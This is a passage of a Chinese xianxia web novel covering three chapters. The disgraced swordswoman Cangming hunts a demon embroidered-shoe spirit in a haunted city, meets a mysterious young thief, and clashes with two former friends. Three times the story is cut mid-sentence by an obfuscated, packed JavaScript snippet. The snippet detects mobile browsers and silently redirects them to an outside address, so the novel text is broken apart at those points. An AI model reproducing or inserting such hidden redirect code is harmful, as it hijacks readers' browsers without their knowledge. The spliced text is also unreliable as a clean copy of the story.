《落神赋》 1. 寒露再相逢 客栈的大门被吱呀一声推开,一道细高的身影逆光走了进来,衣袍上带着寒露这天的白雾。 大堂晦涩黯淡,破破烂烂。每张木桌上有一支惨白色蜡烛,青蓝色火焰摇动不已,照得厅里虚虚实实。 人影缓缓走到桌边,一掀下摆落座。大堂四周拉着绳子,四排纸旗悬挂在空中,明明没有风,纸旗却飒飒作响。 柜台上方有一块裂缝木头牌匾,写着四个华丽镀金大字:息园三坊。 “大白天的关着门,这客栈还能赚钱么?”人影一开口,声音十分清澈沉静。 “能的。”一道森然的嗓音回答道。 人影转头看去,店小二无声无息地出现在桌边:“客官,您不就来了。” 他手里提着一盏上坟用的纸灯笼,照亮了敬苍名的身影。看似十八九岁的少女,淡眉圆眼,清丽无双。长马尾威风地束起,高高飘荡,身侧佩戴一柄长剑,穿着琉璃海蓝色长袍。袖口束紧,腰带缀银,下摆四散分开、如瀑布垂落,露出银白色长裤和长靴。 而店小二满脸笑容,一经咧开再也不变,说话时嘴唇也诡异地保持弧度:“客官打尖还是住店?” 苍名摸了摸薄如蝉翼的钱袋,微笑着说:“先买一杯白水,谢谢。” 一杯热气腾腾的白水从虚空里冒出来,接着,托着水的小丫鬟从黑暗中走出,咧出一个和店小二一模一样的诡异笑容:“客官,您是要普通的白水,还是能维持人形的白水?” 苍名假装对他们神出鬼没的身手毫不在意:“就你手里这杯好了。”小丫鬟咧着笑口递来茶杯,苍名文雅地用茶盖撇了两下白水,啜饮一口,赞道:“好水。”放下杯子,手里已经攥了一张黄符蓄势待发。 小丫鬟仍旧带着灿烂笑容问:“客官是初来逢焉城么?” 苍名说:“正是。路过贵店,似乎鬼气稍重,就进来看看。” 小丫鬟滴水不漏地回答:“乱世闹鬼,实属常见。哪里没有鬼气呢?初一那天,文庙香炉上的袅袅烟雾聚成了一座鬼像,十五那天,有个人吃着饭就突然倒地成了一张空皮……” 苍名微微一笑,望向窗外。三天前,她收到一封没有落款的信,信上说中原逢焉城妖鬼作祟,请苍名女道长务必大驾光临,必有重谢。 虽然道士捉鬼是侠义之举,但她作为当年的忘仙派第一弟子,落魄之后硬是又创下一个第一。 她成为普天之下收费驱鬼第一人。 . 忘仙派以剑舞为修道法门,一众弟子执剑起舞,降妖除魔,乃一段佳话。 十年前,十九岁的苍名随师门出征剿鬼,杀鬼无数。只见她仗剑翩飞,舞得风起云动、衣袂飘摇,当晚就化了散仙,名号舞将军。散仙不老不死,有时几百年间都未必出一位。一时间苍名举世无双,风头无两。 下山游历之前,她对师祖说:“我觉得散仙不算什么,我要成神!” 当时忘仙台上香烟缭绕,霞光万顷,师祖微笑着回答道:“斩厉鬼无数者,可修成散仙。散仙历经天劫,惩恶扬善,功德圆满,可飞升为天界仙官。而这九天仙官里,平定天下、庇佑苍生者方能成神。” 年方十九的苍名侃侃而谈:“成神是我的执念,当然喽,大道无形,若想成神恰恰需要化解执念,以不念为念。” 这段逼格满满的忘仙台对谈,一时间被传为佳话。不久苍名下山游历,在距离成神一步之遥时,突然接到父母惨死的消息。 大街小巷津津乐道,墙根下的说书人据此编出了多个版本的传说。他们双手一拍,兴奋地讲道:那舞将军自此走火入魔,转型为丧门星!她谋杀师祖,盗取了陪葬的珠冠,妄图凭此法宝操控天下,真不是个东西。难怪除忘仙派之外,铜铎派、不闻派和云霞派也出面追杀丧门星,四大流派就没这么心齐过。 后来,就连她最好的两个朋友也相信了那些话本子。只有苍名自己知道,父母是被人害死的,珠冠是被人挖走的,而这两件事的幕后黑手,或许就是同一个人。 此后,苍名背着惊天罪名,东躲西藏,抓鬼为生。 虽然抓鬼是为了赚钱,但不给钱也抓。 这并不全是因为她古道热肠、见义勇为——她需要积攒功德才能成神。 转眼流浪多年,苍名一边抓鬼,一边寻找珠冠下落,试图顺藤摸瓜,找出当年那场大祸的始作俑者。在她的计划里,也许找到仇敌那天,正好是她成神那天,到那时,她,天上的一位仙官,挥挥衣袖就能复仇雪恨…… . 苍名一口干了白水,正要悄悄在这鬼屋里贴个符时,那位小丫鬟又悄无声息地冒了出来,将一盘芝麻烧饼轻轻放在苍名面前。 小丫鬟带着笑容说:“天气寒冷,水凉得快,送您一盘新出炉的点心,吃着暖和,不要嫌弃。” 此点心十分粗糙,硬如龟壳。苍名拿起一枚看了看,没有闻出任何毒药的味道。放进嘴里嚼了半天,也确实没有任何毒药的味道。 她把黄符重新揣回怀里,有些惭愧地说:“多谢你的好心了。” “客官,您客气了。”小丫鬟咧着笑面说,“您来逢焉城,是为了走亲访友吗?” 这些年来,苍名每到一处,都会先去各式店铺里寻找珠冠。她问道:“这城里有什么卖珠宝古玩的地方吗?” 小丫鬟笑得更灿烂了:“啊,您是来买珠宝首饰的。”她仿佛真的相信一个只买一杯白水的人要去逛首饰铺子。 苍名有意无意地问:“比如,珠冠,有吗?” 小丫鬟说:“客官,您找的是雕花点翠的、美人钟爱的珠冠呢,还是藏有法力、能降天下的珠冠呢?” 苍名心里暗自一惊。十年过去,四大流派没落,民间追逐的奇闻谈资已经换了几轮,早就没人提起那顶奇异的珠冠了。她既不想说真话,也不想撒谎,只是微笑着问:“逢焉城有这样的宝贝吗?” 小丫鬟指向城东边:“本地最怪的古董店里,说不定有您要的。” 苍名点头致谢,将剩下的两个烧饼包好放进怀里,扣上面具,起身走出客栈。 街上行人稀少,千门万户纸钱纷飞,全城萧条诡异。一群道士拎着宝剑、酒坛子、拷鬼棒、三清铃等诸多物件,滴里当啷地走进一户人家,有的挥剑祝祷,有的摇铃驱魔。还有个道士口含烈酒,凝神远眺,猛地喷出,把一颗假牙也喷了出去。 苍名摇了摇头,随即看见他们的符纸倒是画得有模有样,又赞许地朝他们点了点头,仿佛在叫他们好好干。有个道士看了她一眼,自言自语道:“好丑的面具。” “……” 沿江向东走了几里,一家古董店出现在视野尽头。五层古楼,大门紧闭,看起来今天不开门。苍名放慢脚步,背着手缓缓向前走去。虽然不开门,她也不知道还能去哪里。 古楼临江而立,背靠森林,若隐若现,四周山清水秀,风和日丽。苍名点头自言自语道,风水极佳。 再收回目光时,远处忽然白光一闪。 不等那道白光定住,苍名已经闪身藏进树丛。原本空空的大路上多了个银白色的人影,仿佛从天而降。 那人影戒备地左右看了看,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍名犹豫了一下,说:“不知这店里卖不卖……珠冠?” 少年转身走向古楼后方,远远地留下一句:“想进来的话,就跟我来。” “等一下。”苍名急忙小跑跟上。 这位少年穿着一袭银白色外袍,里衣、长裤和长靴则是海蓝色。长发束成高马尾,随步伐轻荡。 苍名觉得这种装扮有点熟悉,就是忘了在哪见过。 少年将她带到小楼后身,后门也锁着,旁边有一架梯子通向第五层。 他先跃上梯子,回头问:“你能行吗?” 苍名说:“爬高吗?” “恩。”不等苍名伸手阻拦,那少年身手如飞,几下轻点,眨眼之间就跃到顶,俯视苍名一眼,从窗口跳了进去。 苍名一只手僵在空中,不眨眼地看完,心想果然高手在民间。可惜这少年偷鸡摸狗,不务正业,竟当着她的面洗劫古董店。苍名颇为自傲地想,即使不为功德,她也不能不管。 于是她当即轻踏梯子,纵身一展就飞到梯子中段,再一个空翻就跃上第五层的窗台,顺势就跳了下去。 “啊?”苍名倒吸一口凉气。 想象中的单膝跪地、单手拄地、潇洒落在地板上的画面并未发生,因为这楼竟然,从第五层的天花板直通第一层的地面。 面积的利用率太低了。 苍名只来得及想这么一句。 2. 赠君银发冠 正要使个定身法术,一道银白色身影从平地腾空而起,悄无声息。 苍名正想回击这小子的偷袭时,一只手环上她的腰间,另一只手托住她的膝盖窝。 银白色少年抱着她缓缓落在地上,风起风定,一切不过瞬息之间。 那张丑面具已经先行一步掉落在地上,蹦跳着翻了几个滚。苍名抬起头,发现少年正低头看着她的脸。 他深深地凝视着她,灼热的目光就像马上要把她看穿了。 在灼热目光的笼罩下,苍名有一瞬间的恍惚。他的怀抱温暖如春,反衬得深秋十分寒冷。 片刻之后,苍名挣扎着自己落地,同时大声抱怨:“谢谢你接我,不过你怎么不提醒我这楼没楼板啊。” 少年没说话,背着手慢慢踱到一边。 楼里空空荡荡,厅堂辽阔,说话都带回音。只听见一层层的声浪由近及远地扩散出去: “没楼板啊……” “没楼板啊……” 苍名:“……” 靠墙角摆放着古董架子和柜台,除此之外只剩四面墙壁,镶着陈旧的棕色木板,比苍名逃难时住过的地方还破烂。 银白色身影悠闲地走到柜台前,回头呼唤苍名:“不来看看吗?” 苍名一愣,急忙说:“别误会,我不是贼,我上来是为了——” 少年轻轻一笑:“不是贼,那你进来干什么?” 苍名反问道:“那你进来干什么?” “我是贼。” “……”苍名上下打量着他,看他进了楼就像回了家一样自在,简直反客为主,乐在其中。 他似笑非笑地说:“姑娘如果不是贼,就是为了跟着我才进来了?” 苍名微微皱起眉毛:“当然了,快出去吧。” “不是找珠冠么?”少年走到柜台之后,看了一会儿,拿了件东西递给苍名。 苍名正趴在柜台上看他的背影,顺手就接了过来:“这是什么?” 一枚束发用的银质发冠躺在她的手心。发冠精巧绝伦,线条优美,花纹奇异,通体闪耀着雪色般的银光。 他说:“这个送给你。” 这人拿着别人的东西做人情,还如此理直气壮,苍名的眉毛又皱了起来,随即又想起他说到自己没有家时的模样,也是个可怜人罢了。她摸着自己马尾上绑的黑布条,尽量温和地说:“你年纪小,从前的种种就算了,以后好好找个营生,不要再随便拿人家东西了。” 少年满脸失落地说:“你不要吗?”他垂下眼眸,浑身上下都散发出无奈和伤感:“你也和他们一样嫌弃我……” “我要。”不知怎地,苍名鬼使神差地接了过来,“我很喜欢,谢谢啦。” 在他的凝视下,苍名用发冠束起马尾。他的脸上泛起了不易察觉的微笑。 “抱歉,珠冠确实没有。”他低头看着苍名,好像觉得自己作为飞贼却不能帮她偷到珠冠,实在是一件憾事,“还看看别的吗?” “不了。”苍名试探地问,“你经常进来吗?” 他又挑挑眉毛,好似在说这是当然:“我又没有别处可去。” “……”苍名考虑到他的自尊心,故意嫌弃地打量着四周,“嗨呀,这什么破地方,空空荡荡,没什么好玩的,还是出去吧。” 他走到苍名身边一摊手:“太高了,我出不去。” 苍名仰望头顶那扇窗户,楼里没有梯子。前后门都从里外上了双道锁,不知道这主人是怎么办到的。 “那你抓紧我。”苍名单手揽住他的腰,废话少说,纵身一跃,带着他向上飞去。 少年始料未及,顿时浑身僵硬。他的手慢慢地搭上她的肩头,转眼又松开。 须臾之间,两人徐徐落在楼外空地。 苍名放开他,发现他正看着自己,两人近在咫尺,他的眼睛黑亮黑亮的。 苍名退开一步,怀疑地说:“你不会再进去吧?” “姑娘,怎么才能让你相信我不是坏人呢。”少年乖乖地问,看起来非常真诚,眼睛里却极力忍着笑意。 苍名好言相劝道:“你看,我又并非干涉因果的天神,不能永远盯着你。” 少年却说:“你要永远盯着也可以。” 苍名继续说:“所以,如果你拿过这里的东西,就还回来,以后不要再进去了。” “好,我记住了。”少年微微一笑,“那你的发冠……” 苍名一惊,急忙要解下发冠:“我真不是……” “你的发冠不是偷的。”少年话锋一转,“这本来就是我存在这的。” 苍名将信将疑地哦了一声,为了保全这孩子的自尊,她不得不决定等到夜里再悄悄把发冠还回古董店。 “姑娘是初来逢焉城吗?”少年吹了声口哨,“看在你这么喜欢跟着我的份上,我带你转转如何?” “改天吧,多谢你了。”苍名重新戴上面具,随口问道,“城里不是闹鬼吗,不知这里缺不缺道士?” 少年说:“不缺。” 苍名顿了顿,不死心地问:“那个……他们已经把鬼都分光了?不知还能不能分我一杯羹……” 少年说:“不能。” 苍名尴尬地笑了笑:“啊哈哈,有人写信叫我来抓鬼呢,真是的,大概我来晚了……” 少年盯着她说:“姑娘,你年纪轻轻,何必抓鬼,不如我帮你找个住处,你……” 苍名微笑道:“我习惯抓鬼了,真是谢谢你了。”说完转身挥手走远了。 雨后初晴,光晖映照下,她的长袍质地精良,用同色丝线绣着云霄海浪暗纹,竟如同周身落满雪光。 那个少年的目光似乎一直追随着她,直到她消失在道路尽头。 诚如这位老成的少年所说,这城里到处都是道士。奔走一天后,苍名竟然连一件活没有揽到,更没有打听出写信的人。天色渐晚,苍名叼着一片树叶靠在城门边,看着江上来往的船只。 每逢夜幕初上,万家灯火闪动,苍名都希望夜晚迅速过去,太阳再度升起。正如越是逢年逢节,她就越是感到落寞凄凉。她扔掉树叶,摁了摁面具,慢慢地走上了一条破烂木船。 站在甲板上的船家立刻大声招呼道:“客人要去哪?本船舒适稳健,广受好评,百里之内,当天往返。” 苍名一掏,掏出两个烧饼。又去荷包里摸索一阵,摸出几个铜板交给他:“您看这点钱够到哪,就把我放在哪吧。” 船家抬头看着她:“好丑的面具。” “……” 船行风中,风行水上。破船顺流而下,转眼就漂远了。 苍名坐在船沿上,看着岸上景色向后退去。正在回想那个少年时,树丛忽然一阵唰唰乱响,躁动不已。 两只血红缎面、漆黑布底的绣花鞋自己从树丛中走出,踏着枯枝败叶,向城中一步一步行进。 电光火石之间,苍名已经飞跃上岸。虽然损失了一趟船费无异于让她贫穷的身份更加接近乞丐,但为了积攒功德、早日成神,她还是义无反顾地展开轻身功夫,追着那妖气十足的绣花鞋飞奔而去。 船家还在投入地划着,破船自顾自地走远了。 绣花鞋不紧不慢地走着,苍名远远地尾随其后。 在第一户人家门前,两只绣花鞋站定。其中一只抬起来,踢了两下门板。 笃,笃。 “谁啊?”门吱呀一声打开,一个大汉探头出来张望,没看见人影,又重新关门落锁。 如果他低头看看,就会知道那两只绣花鞋早已悄无声息地闪进门里。 苍名捡起脚边的落叶,遥望城中动静,眼中寒光闪过。 初秋之后,天黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172716|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得越来越早。灶房敞开的窗户里,一家人的黑影在昏黄烛火中闪动。 大汉盛了一盆饭,递给身边站着的妻子:“端去吧。”叫了两声,妻子缓缓转过头。 当啷一声,饭盆摔在地上,粗米饭散落一地,大汉没命地大叫起来。 妻子脖子上顶着的,已经是一张死人的脸了。 另一边的老父亲,也缓缓转过头,又是一张死人的脸。大汉嚎叫一声,扑向两个弟弟,旋即又踉跄着退开。 全家人的脸,都已经是鬼的样子了。 妻子的死人脸上,突然眼珠乱转,双手挥舞,一把抓起桌上的东西夺门而出:“拿来——拿来——” 留下大汉瘫倒在地,喃喃自语:“鬼……” 那小媳妇跑出来时,脚上穿的是一双鬼气森森的绣花鞋。 苍名一抬手,一张树叶变成的黄符飞越大街小巷,精准地打在她的身上。小媳妇啊地一声扑倒在地,两只绣花鞋跳下来,蹦着跑远了。 苍名提剑追去,百忙之中不忘抽空又扔了一把树叶:“醒来!” 几张黄符拍在几个“鬼”的脸上,立刻烧了起来。一张符烧完,几个人脸上烧出来血色,尚未走远的魂被召了回来。 眼看几个人鬼气渐消,苍名对着窗户里那个大汉喊道:“哎,你起来照顾一下,我还有事先跑了……” 绣花鞋在屋顶东奔西窜,踏着满城屋顶逃之夭夭。苍名穷追不舍,几次差点追丢,几经辗转,兜着圈子,最后又追回江边。 鞋踏过之处,黑色烈焰陡然烧起。千家万户中,没有一个人发现头上的屋顶已经变成一团漆黑火焰。 转眼之间,整座城坠入连绵火海。火海张开无数血盆大口,哇哇唱了起来。 “阳去阴来,鬼界门开……” “大疫之后,必有大灾……” 唰的一声,苍名拔出长剑,旋子翻身,撩剑问天,一道法场如六角雪花般乍现于天际,裹挟着电光霜影,如流星拖尾霎时落入城中。 漆黑火海放声尖叫,翻腾滚动,像一场海啸吞没全城。 法阵骤然收紧,黑烟终于像退潮般散去。只有绣花鞋燃烧后的灰烬随风飘来,滚落土中。 “什么鬼,太难听了。”苍名点评了一句。 缓缓收剑时,地下那些灰烬用尖细的声音笑着唱起来: “爷娘命尽,招魂无方……” “欺师灭祖,掘坟盗墓……” 苍名后背一凉,咚地一声跪倒下来,双手撑地不起。她的心脏咚咚地狂跳着,连带着呼吸也异常艰难。鞋妖仿佛能洞悉她的过往,看透她心底暗藏的软弱之处。 紊乱的心跳和胸口的窒息感使苍名剧烈咳嗽起来,眼泪和冷汗混在一起,她摘下面具胡乱地抹着脸。十年前不堪回首的往事,毫无征兆地被这支歌谣揭开。 江边忽然亮如白昼。一道白光横飞而来,如回旋镖逡巡穿梭,霎时间扑灭地上的火星。 白光缓缓定住,像一页纸一样舒展开来,微微浮动,像在呼吸一样。不知又是哪家的过路小妖不怕死,竟来围观道士抓妖。 “滚出来!”苍名咬牙低喝一声,一手撑地,单膝半跪,扬剑出鞘。宝剑划破夜幕,飞过一圈,重回剑鞘,只刺中几缕秋风。 那页白纸还停在半空中静静面对着她。 苍名抽出长剑,凌空跃起,腾飞于树林之上,缓落于流水江边。万叶声中,宝剑斜斜一挥,扬起一道江水飞溅。 水珠如暗器般向身后飞去,她扣上面具,头也不回地走远了。 远远地,无数水滴落在那页白纸上,将它打成一地碎片。 就在刚才心神溃散的一瞬间,城中的法阵已经破了。绣花鞋只剩残存一角,半个鞋底,鞋面烧焦,一跳一跳地逃走了。 循着妖气,苍名一步一步向城中央走去。 3. 一舞惊山海 让苍名万万没想到的是,半只烧焦的绣花鞋一路蹦跶,蹦进了息园三坊客栈。 而店小二不仅没有把这东西赶出去,还将它请上了二楼客房。半只鞋妖,连人形都没化出来,竟也住了间客房。 方才这一路缓步慢行,已经让苍名调匀了呼吸,心跳也恢复了平稳。她一步踏进客栈,大喝一声:“好小子,我信任你们这家鬼客栈,你们却敢窝藏鞋妖!” 小丫鬟从黑暗中浮了出来,带着巨大的笑容说:“客官,你回来了。” 店小二则咧嘴笑着说:“客官,我们就是做妖鬼生意的店呀,来者都是客。” 苍名一瞬间已经扔出去八张黄符,将客栈八个方位贴满:“是你们交出绣花鞋,还是我上去自己抓?” “诶,客官说笑了。”店小二圆滑地说,“您请上座,要点什么尽管吩咐我,不要惊动了二楼客人。” 苍名唰地推开他,正要向楼上走去,猛然发现柜台后面多了个打算盘的人。 那人拄着单拐站起来,朗声说:“起风了,关窗户关门。” 说着拐棍一扫,算盘腾空而起。一颗颗算珠如暗器飞向四周,叮叮咚咚打在窗户和大门上,如同激昂鼓点,每一扇门窗都嗖嗖合拢起来。 强劲法力随鼓点爆发而出,一时间茶壶桌椅乱飞,阴风灌满大堂。 四周悬挂的一排排纸旗唰地一抖,猛地齐齐转了个面,竟是一个个纸人小鬼,双眼绿光闪烁,嘴角狞笑横生。 苍名再一转头,桌对面不知何时坐了一位自斟自饮的客人,那人拈着一根筷子,和着鼓点叮叮咚咚地敲起面前的一排碗。 曲声一起,法力如海浪席卷大堂。桌子整个飞上半空,爆裂成无数碎片。碎片如同飞镖一般刺破空气,嗖嗖向四周打去。 拄拐人一抛单拐:“盾开!” 那柄平平无奇的拐棍在他面前悬空竖立,像转花枪一样转起来。平扫之处,金光漫漫,化为盾牌。 碎片叮叮咚咚撞在盾上,顷刻间灰飞烟灭。 两人一站一坐,乒乒乓乓地斗起法来。两股法力彼此对上,先是打了个天翻地覆,接着突然并驾齐驱,绕客栈落成一圈法阵,将客栈牢牢锁死。 那一瞬间,苍名第一次有了活见鬼的感觉。 这两个容貌年轻却眼神老练的人,是当年与苍名最亲密的两个朋友。 拄拐青年相貌堂堂,是十年未见的故人钟无律。无律出自铜铎派门下,以音律节奏做法,是苍名的世交兄弟,从小一起玩过泥巴。十年前苍名被四大流派穷追猛打时,他曾出卖苍名的行踪。 而饮酒散客冷艳妖媚,是另一位十年未见的故人殷希声。希声是不闻派杰出女道士,以奏乐做法,是苍名的年少好友,和苍名一起逛过年宵会,闯过男澡堂,后来却亲自带队追杀苍名。 苍名每次都逃得飞快,丝毫不顾仙侠遗风,人称赖皮活爹。不久,无律和希声也先后修成散仙,从此再也没见过。只有民间传说里诉说着他们的奇闻,一辈出三仙,古今无双事。 苍名纵身跃上房梁,在空中时不忘拼命摁紧面具,整套动作行云流水,一气呵成。这是她逃亡多年的看家本领。 苍名朗声说道:“小道只是路过,两位不要认错了人,放我出去吧。” 无人理会。 无律缓缓收势,向希声拱手一拜:“巧啊,又对上了。” 希声冷笑着还礼道:“久违。” 无律抱起手臂说:“不闻派如此清闲吗,殷大师来我这小店干什么?” 希声不阴不阳地说:“我一介草根,自然四处游历,钟大师怎么有空开这快倒闭的鬼店,不回铜铎派去继承大统?” 无律毫不客气地说:“我本事低微,难当重任,比不上殷道长会讨师门欢心,当年亲自带队去抓丧门星。” 希声咔一声捏碎了手里的筷子:“你自己不是也出卖了丧门星?我是敬佩钟大师,才虚心效仿。” 无律咬牙切齿地微笑道:“谁比谁高贵,四大流派都是为了捞到珠冠而已。” 苍名品咂地望向这两人。民间有许多传说,却没人知道他们三个曾是最好的朋友,一起浪游和闯祸,在十年前分崩离析。 过了这么多年,这两人居然还在替各自的师门争夺珠冠。争珠冠就争珠冠,他们竟在一家破客栈里斗殴。斗殴就斗殴,他们还写信把她骗到此处,妄图以绑架的方式逼她交出珠冠…… 苍名当即决定,日后找机会将这事捅到凡间,让说书人编成话本,冲淡自己那丧门星的事迹。 两人寒暄完毕,不约而同地抬头,冷冷看着苍名:“下来。” 苍名轻轻落地,点头微笑,夹起嗓子说:“二位在切磋法术吗?小道也是修行之人,贱名恐污了尊耳,二位叫我的绰号鬼克星就好。” 希声说:“好丑的面具。” “……” 无律微笑道:“阁下何不摘了面具说话?” 说着,拐杖一挥,直冲苍名门面而来。 苍名只觉得劲风袭来,当即脚下辗转,身形飘忽闪退,一手举剑抵挡。 “误会误会,我真是过路的啊——” 希声袖着手幽幽说道:“要我说,不如大家坐下……” 不等她说完,苍名飞起一脚,踢开一扇窗户跳了出去。 唰的一声,苍名拔剑凌空,仗剑起舞,剑花飞挽,连成一道六角雪花形银光,那圈散装的拼凑的法阵立刻被劈出一道豁口。 无律和希声相继从大门跑出来,各自拉开架势,捏起手诀,默念法咒护阵。苍名那标志性的六角雪花法阵已经收起,她又开始叫了:“你们认错人了——” 一张张纸人从无律身后哗哗飞出,蓦然抽展成数丈高的鬼影,彼此手挽手嘿嘿冷笑。 苍名一弹剑刃,铮地一声,纸人被震得抽动走形,尖叫打滚声此起彼伏。而她自己早已跳上树梢,一路踏着连绵树冠逃之夭夭。 “鬼克星!站住!”那两人纵身追来,虽然没有轻身功夫,却一路再接再厉,毫不示弱。 特别是无律,拄着大拐,却跑在最前面。 他们掠过沿途行人,行人们淡淡地看着这几个追逐吼叫的人。只有几个蹲在路边的小贩叫起来:“抓鬼了——又抓鬼了——” 逢焉城之南,江水自西向东奔流入海。江水之南,旷野茫茫。旷野之南,远山连绵不绝。 天色漆黑,冷风飒飒,不见人影。苍名满城兜圈,好不容易甩掉了那两人,又神不知鬼不觉地回到客栈看了一眼。客房空空如也,绣花鞋果然逃走了。 循着略带糊味的妖气,苍名追到江边,那是两只鞋最初出现的地方。妖气直抵对岸,苍名御剑飞过江面,在荒野找了个树墩坐下。 透过一人高的芦苇,她静静地等待着。 随着月影的推移,绣花鞋的妖气愈发浓郁,那是一种令人窒息的脂粉气味混着邪恶的杀气,在附近徘徊不散。 蹲到月过中天,南岸传来细碎杂乱的动静,苍名聚精会神,等待着绣花鞋的出场。她生怕是希声和无律又追来,提前把宝剑拔出来拎在手里。 窸窸窣窣,窸窸窣窣,越来越近。 苍名屏住呼吸。如果是希声和无律前来捉拿她,她到底是一如既往地撒泼逃逸,还是洗尽旧恨、决一死战? 在逐渐逼近的脚步声里,苍名的眼前突然浮现出两张年轻的脸。这两张脸上神采飞扬,目光璀璨,和现在的希声无律别无变化,却又完全不同。那一次,他们三个才过十六岁,一起去端了一只邪妖的老巢,霸占了邪妖的陈年佳酿,喝得满脸放光,笑容满面。 苍名缓缓伸出一只手,拨开芦苇看向前方。一匹亡灵黑马穿过旷野,沿江向东走去。 马背上有两个黑影。一个黑影坐着,另一个黑影横趴在他身前,不省人事。 不是希声和无律。苍名竟然如释重负。 坐着的黑影骂道:“他妈的,你倒是跑快点啊,大王等着呢。” 说话带有空洞的回响,是个出来办事的妖怪喽啰,一张黑脸几乎融入夜色,仿佛只有一顶帽子悬浮在衣领上。 亡灵黑马脖子上插着一支箭,步履蹒跚,大概当初是中箭惨死的。 苍名轻手轻脚地跟上,保持不远不近的距离。 忽然之间,妖怪喽啰猛地勒马止步,困惑地举起手里拿的圆形东西。 “咦,怎么指针转得这么厉害啊?”他回头向苍名藏身的方向张望一阵,“指针闪起来了……” “识怪罗盘!”苍名顿时刮目相看。一个出公务的普通小喽啰,竟能手握此等贵重法宝。 持罗盘者,可辩识方圆十里内仙鬼神妖的方位。这法宝本是道士发明的,后来反而被妖鬼拿去用了。 马背上的小喽啰又拿着罗盘看了一会儿,突然反应过来:“有大鬼!” 于是他调转马头,朝着苍名的方向喊:“阁下何在?是恰好路过,还是有何指教?” 苍名默不作声,从芦苇间观察着趴在马背上的黑影。 霎时间云破月来,光华流溢,苍名看出那是一个穿红袍的年轻男子。他的脚上,穿着正是那双红面黑底的绣花鞋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172717|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才只剩半个的焦糊绣花鞋,竟然又变得崭新鲜艳,成双成对,完好无损。 “若阁下与我井水不犯河水,就大路朝天,各走半边!”小喽啰在马上抱了抱拳。 苍名缓缓起身,长身玉立于原野之上。小喽啰肉眼可见地哆嗦了一下。 “好丑的面具。” “……”苍名盯着他诡异一笑,“你马背上驮了个什么?” 小喽啰拍拍身前趴着的人:“这个吗?回大鬼阁下的话,这是个活人,不值钱哒。” “本大鬼又不是抢钱的土匪。”苍名耐心地说,“你带活人回去干什么,他干了什么坏事?” “他能干什么坏事,我们大王要我带他回去而已。”小喽啰戒备地说,“小小玩意……” 话音未落,一阵风刮过,苍名已经欺身而上晃到马前,一挥手让他仰面摔了下去,一弹指让亡灵黑马驮着活人向江对岸走去。 亡灵黑马在水面上走了几步,犹犹豫豫地停下了。 苍名掏出一张树叶变为黄符,向马腿上一贴,马拖着四条直打晃的腿走了起来。 “你他妈的……”小喽啰气急败坏,挣扎着爬起来,手起光落,化出一杆长矛。挟着鬼魅的妖风,长矛向苍名刺来。 叮的一声,苍名一剑荡开小喽啰的长矛,法场的冲击使得对方避退三舍。 苍名挑起嘴角一笑:“你还有两把刷子。” 小喽啰看着苍名的脑袋,惊疑不定:“你真是他的人?” “谁?”苍名翻身挂剑,一瞬间已经随手挽了几个剑花,朗声问道,“少废话,你家大王是谁?” “天心沭!” “没听过!” 小喽啰怪叫一声,凌空跃起,长矛从半空中劈下。 苍名闪身旋转,出剑刺中长矛的中段,凭着轻轻一击的巧劲,长矛断成两段。 小喽啰顿时崩溃:“你他妈的!” “定!”苍名一个树叶黄符拍过去,“你们大王的老巢,在哪?” 小喽啰浑身定格,眼珠转了转。苍名摘下面具扇着风,忽然感觉不对劲。 东方隐隐传来地动山鸣的声音,似乎有千军万马疾驰,鬼气冲天而起。 须臾之间,一大团比黑夜还黑的黑烟出现在远处,眨眼间滚滚而至。 黑烟里一大群妖鬼叽里呱啦地喊着:“副将,我们来接您了!” 苍名扬手一抛面具,瞬间放倒了前排一片小妖。后排的小妖前赴后继地赶上来:“你们躺下干什嘛……哎?副将您老人家在练什么? “这都不知道,这一招叫推窗望月!” “副将的马怎么跑到江上去了?快追回来。” “这个女孩子是谁?” 苍名轻弹剑刃,幽幽回声里,跑出去追马的小妖应声倒地。 黑马丝毫没理会身后的鸡飞狗跳,始终费劲巴力地走着。 “妈呀!是道士!” 众妖鬼纷纷拉开架势应战,一哄而上。 有的伸出嘶嘶的蛇信子,有的把扎在身上的无数根钢针拔出来,嗖嗖扔出。走在最后的是无头的尸身,一步一步,踉踉跄跄。 苍名移步转身,凌空而起,倒踢紫金冠时长剑斜斜刺出,落地翻身接一招探海。疾风飒飒,一瞬之间后腿已笔直指向天空,唯余长发和下摆缓缓飘动。 四周一地都是被放倒的妖鬼,低吼咆哮,如同野兽,凄厉瘆人。 正要抓起一个小妖带路,黑烟忽然又浓郁起来。 一些黑油般的东西从地上爬起来,凝聚成一个个扭曲难名的形状,向苍名猛冲过来。 “靠!”苍名挥剑格挡,暗骂一声,“邪狞!” 从前有妖魔兴建道场,专门接受人类信徒最邪恶的祈愿。祈愿者内心最泥泞的一面,就是他们献给妖魔的供奉。 后来道场一夜之间荒废,道场里这些积聚的邪念成了精,从此祸乱人间。 